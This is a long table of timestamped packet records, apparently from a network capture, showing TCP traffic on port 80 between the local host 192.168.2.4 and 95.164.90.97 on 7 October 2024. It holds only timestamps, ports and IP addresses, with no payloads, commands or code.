Oct 7, 2024 03:15:44.810568094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:44.815371037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015564919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015582085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015595913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015620947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015635014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015641928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.015661955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015676975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015680075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.015693903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015707970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015723944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015744925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.015805960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.015907049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015922070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015937090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.015953064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.016088963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.125781059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125803947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125818014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125833988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125858068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125866890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125881910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125890017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125925064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125967026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125982046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.125989914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126000881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126040936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126056910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126069069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126081944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126105070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126107931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126121044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126137018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126141071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126195908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126296997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126312971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126328945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126343966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126351118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126360893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126375914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126391888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126395941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126410007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.126439095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.126470089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236593008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236615896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236632109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236665010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236690044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236715078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236728907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236742973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236759901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236772060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236777067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236793041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236810923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236812115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236829042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236831903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236845970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236852884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236867905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236893892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236895084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236910105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236926079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236926079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236926079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236939907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236963034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236963034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.236979961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.236995935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237004042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237030983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237039089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237056017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237068892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237070084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237081051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237087965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237099886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237112045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237128019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237164021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237212896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237261057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237276077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237291098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237301111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237304926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237323046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237323999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237339973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237351894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237354994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237379074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237396002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237416029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237431049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237445116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237464905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237469912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237487078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237493038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237502098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237519026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237543106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237596989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237648964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237653017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237664938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237684011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237708092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237744093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237759113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237772942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237785101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237790108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237807035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237833023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237833977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237860918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237878084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237893105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237899065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237910032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237910986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.237920046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237932920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.237950087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.351738930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.351759911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.351844072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.351846933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.351860046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.351885080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.351886034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.351958036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.351993084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352006912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352027893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352030993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352050066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352057934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352072954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352080107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352087021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352097034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352108002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352114916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352133036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352143049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352150917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352175951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352241993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352267027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352274895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352283001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352318048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352360010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352363110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352380991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352396965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352416992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352421999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352427959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352458954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352477074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352487087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352494001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352523088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352523088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352601051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352618933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352638960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352641106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352641106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352664948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352670908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352684021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352693081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352704048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352710009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352727890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352731943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352756023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352756977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352775097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352777958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352792025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352796078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352812052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352814913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352828979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352833033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352849007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352850914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352869987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352886915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.352961063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.352987051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353010893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353019953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353023052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353037119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353053093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353060007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353071928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353075027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353091955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353094101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353113890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353116989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353131056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353137016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353149891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353152037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353168011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353178024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353187084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353189945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353207111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353224993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353517056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353534937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353550911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353560925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353569031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353575945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353589058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353590965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353615046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353619099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353626966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353637934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353660107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353667021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353669882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353684902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353702068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353709936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353719950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353724003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353739977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353743076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353760004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353761911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353777885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353784084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353796959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353801012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353816986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353822947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353837013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353842974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353856087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353862047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353873968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353878975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353892088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353898048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353910923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353914022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353929996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353934050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353948116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353965044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.353969097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.353985071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354029894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354055882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354055882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354126930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354144096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354161978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354163885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354183912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354191065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354199886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354209900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354227066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354227066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354244947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354247093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354264975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354268074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354289055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354317904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354332924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354350090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354372025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354374886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354387999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354393005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354408979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354412079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354425907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354434013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354453087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354454994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354474068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354475021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354492903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354500055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354511023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354513884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354531050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.354533911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354553938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.354588032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.469471931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469505072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469520092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469546080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469561100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469575882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469594002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469610929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.469690084 CEST	49737	80	192.168.2.4	95.164.90.97
